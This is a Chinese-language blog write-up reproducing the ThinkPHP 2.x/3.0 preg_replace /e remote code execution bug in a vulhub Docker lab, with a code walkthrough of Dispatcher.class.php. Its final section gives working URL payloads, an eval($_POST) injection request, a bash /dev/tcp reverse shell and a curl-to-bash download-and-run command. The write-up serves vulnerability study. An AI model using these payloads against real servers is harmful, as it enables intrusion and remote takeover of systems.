ThinkPHP 2.x/3.0 漏洞复现
ThinkPHP框架
ThinkPHP是一款从Struts结构移植过来进行改进和完善后的web应用的开源轻量级PHP框架。
ThinkPHP可在 Windows和 Linux等操作系统运行,支持 MySql,Sqlite和 PostgreSQL等多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
ThinkPHP 2.x/3.0
概述
由于 ThinkPHP 中没有对控制器进行检测,导致在没有开启强制路由的情况下攻击者可以通过此漏洞进行远程命令执行。
分类 | 详情 |
---|---|
cve编号 | 无 |
威胁等级 | 高危 |
漏洞种类 | (RCE)远程命令执行 |
影响版本 | ThinkPHP = 2.1/3.0 |
环境复现
[root@vulnsec ~]# cd /opt
[root@vulnsec opt]# git clone https://github.com/vulhub/vulhub.git
[root@vulnsec opt]# cd vulhub/thinkphp/2-rce/
[root@vulnsec 2-rce]# docker-compose up -d
[root@vulnsec 2-rce]# docker-compose ps
Name Command State Ports
------------------------------------------------------------------------------
2rce_web_1 apache2-foreground Up 0.0.0.0:8083->80/tcp,:::8083->80/tcp
# 访问地址 IP:Port
漏洞原理
ThinkPHP 2.x 的漏洞产生是由于ThinkPHP 2.x版本中 ,使用
preg_replace
的/e
模式匹配路由。导致用户输入参数被插入双引号中执行,造成任意代码执行。在 ThinkPHP 3.0 版本因为Lite模式没有修复漏洞,所以也存在此任意命令执行漏洞。
# 正则语句
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
# 如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞
# e只用在preg_replace()函数中,在替换字符串中逆向引用做正常的替换,将其作为PHP代码求值,并用其结果来替换所搜索的字符串.
# preg_replace() 函数, 执行一个正则表达式的搜索和替换。
preg_replace(正则规则, 用于替换字符串, 被搜索的字符串)
# implode() 函数返回一个由数组元素组合成的字符串, 默认是空字符("")。
implode(分隔符,array)
测试 preg_replace() 函数的命令执行。
# 正则规则
<?php
$re = @preg_replace('/hack/','print_r("world");','Hello hack');
echo $re;
# 在没有使用 e 这个修饰符的时候,preg_replace() 函数会根据正则将 'Hello hack' 中匹配到的 hack 替换成 'print_r("world");' 然后进行输出。
# Hello print_r("world");
# @ 符号表示不提示报错信息。
# 使用e修饰符的正则
<?php
$re = @preg_replace('/hack/e','print_r("world");','Hello hack');
echo $re;
# 使用 e 修饰符后,'Hello hack' 中匹配到的 hack 也替换成 'print_r("world");',但是不是直接输出,而是对print_r("world");进行了执行。
# 在 preg_replace() 执行正则的时候就先对替换之后的字符串 'Hello print_r("wolrd");' 进行了执行。所以结果是先输出 "world" 然后再输出 "Hello 1",这个输出的 "1" 我理解的可能是因为 print_r() 函数输出之后的返回状态号。
这个 e 修饰符只有在 7.0.0 以下版本才有效。
漏洞分析
访问ThinkPHP靶场地址。
在容器靶场里面搜索找到存在漏洞的地方。
参考文章:ThinkPHP渗透思路合集
# 在容器中执行
find . -name '*.php' | xargs grep -n 'preg_replace'
复制到本地分析搜索到的含有 preg_replace() 函数的php文件,看到存在漏洞的这句代码。
# 存在漏洞点
./ThinkPHP/Lib/Think/Util/Dispatcher.class.php:102: $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
# (ws+b) 匹配(+)前面的子表达式一次或多次。这里表示匹配含零个或多个 s 的(...ws..b...)的字符串。
# (\w+) 匹配字母、数字、下划线。等价于'[A-Za-z0-9_]'。
# ^ 匹配任何不在指定范围内的任意字符。
先看一组 e 修饰符的执行方法。
# 例1
<?php
$a = 'aahelloworldaa';
echo @preg_replace('@(hello)(world)@e','Hi',$a); # 第一次匹配 hello,第二次匹配 world ,然后替换成 Hi。
## 结果
aaHiaa
# 例2
<?php
$a = 'aahelloworldaa';
$b = array();
echo @preg_replace('@(hello)(world)@e','$c["\\1"]="\\2";',$a);
print_r($c);
# 结果
aaworldaa
Array
(
[hello] => world
)
在匹配到字符串之后,执行了
$c["\1"] = "\2"
将匹配到的两个值以固定的位置给了数组,第一个值作为键,第二个值作为第一个键的值。参考文章:
# 看到 ./ThinkPHP/Lib/Think/Util/Dispatcher.class.php 这个文件
# 是 ThinkPHP 中的一个类用来完成URL解析、路由和调度。
# Dispatcher 中存在的方法:
static public function dispatch() URL映射到控制器
public static function getPathInfo() 获得服务器的PATH_INFO信息
static public function routerCheck() 路由检测
static private function parseUrl($route)
static private function getModule($var) 获得实际的模块名称
static private function getGroup($var) 获得实际的分组名称
# URL映射器到控制器
模块(控制器类) 动作(类中的方法)
URL:http://127.0.0.1/projectName/index.php/模块/动作
参考文章:
# ThinkPHP 5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...
# 支持切换到命令行访问,如果切换到命令行模式下面的访问规则是:
>php.exe index.php(或者其它应用入口文件) 模块/控制器/操作/[参数名/参数值…]
# 可以看到,无论是URL访问还是命令行访问,都采用`PATH_INFO`访问地址,其中`PATH_INFO`的分隔符是可以设置的。普通模式的URL访问不再支持,但参数可以支持普通方式传值
php.exe index.php(或者其它应用入口文件) 模块/控制器/操作?参数名=参数值&…
# 如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...
# 必要的时候,我们可以通过某种方式,省略URL里面的模块和控制器。
在 Dispatcher 类中找到了
URL映射到控制器
的方法static public function dispatch()
。
// 获得配置文件中定义的pathinfo的分隔符
$depr = C('URL_PATHINFO_DEPR');
// 分析PATHINFO信息
self::getPathInfo();
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/')); // 以 $depr 作为分隔符将字符串分开,返回一个数组
$var = array(); // 创建 $var 空数组
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths); // 删除数组中的第一个元素,并返回被删除的值
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
'$var[\'\\1\']="\\2";'
对$var
数组进行进行指定键赋值,而且可以看到后面的值是在双引号里面的。简单演示一下这个双引号。
${表达式}
$和花括号的作用就是将代码作为一个整体执行。php中的双引号可以解释变量,单引号不解释变量。
<?php
$depr = '/'; # $depr = C('URL_PATHINFO_DEPR');
$var = array();
$paths = '/a/b/c/d/e/f/'; # 用户输入的参数
$paths = explode($depr,trim($paths,'/')); # $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);
# 利用正则一次提取两个值再将两个值一个作为数组的键一个作为值。
// [ (\w+)\/([^\/\/]+) ] ===> 提取 a/b ===> $var['\1']="\2"; ===> $var['a'] = "b";
var_dump($var);
## 结果
array(3) {
["a"]=>
string(1) "b"
["c"]=>
string(1) "d"
["e"]=>
string(1) "f"
}
从上面知道 使用
preg_replace() 使用了 e 修饰符,就可以将第二个参数当作php代码执行。
第三个参数$im
又是用户可控的参数。
# 用户如果输入恶意代码
<?php
$depr = '/';
$var = array();
$paths = '/a/${phpinfo()}/c/d/e/f/';
$paths = explode($depr,trim($paths,'/'));
# var_dump($paths);
$im = implode($depr, $paths);
# var_dump($im);
@preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', $im);
var_dump($var);
由于
"\\2"
是双引号,可以产生代码执行,如果是单引号就不会执行代码了。
漏洞复现
根据上面的
URL访问规则
构造poc
# PoC
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...
index.php?s=/a/b/c/${phpinfo()}/e/f
index.php?s=/a/b/c/{${phpinfo()}}/e/f
# 在偶数的位置构造代码即可。
利用漏洞反弹一个shell。
# 命令执行exp
/index.php?s=/a/b/c/${@print(system(ls))}
# shell反弹exp
## 写一个文件内容是反弹shell的命令
root@Ksec:/opt/http/main# vim shell.html
bash -i >& /dev/tcp/IP/Port 0>&1
## 在vps上开启一个 http 服务(默认开启服务的当前目录是web根目录)
(py3)
root@Ksec:/opt/http/main# python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
(py2)
root@Ksec:/opt/http/main# python2 -m SimpleHTTPServer 9999
Serving HTTP on 0.0.0.0 port 9999 ...
## 访问靶场连接抓包,修改请求方法为POST,然后利用下面的请求url,POST数据是用来执行命令的。
POST /index.php?s=/a/b/c/${@print(eval($_POST[1]))}/e/f HTTP/1.1
Host: 192.168.10.10:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.10.10:8083
Cookie: PHPSESSID=cb0754b879eb464c2baac8b10238fa4d
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
1=system("curl%20IP:Port/shell.html|bash");
本文来自博客园,作者:knsec,转载请注明原文链接:https://www.cnblogs.com/knsec-cnblogs/articles/16582230.html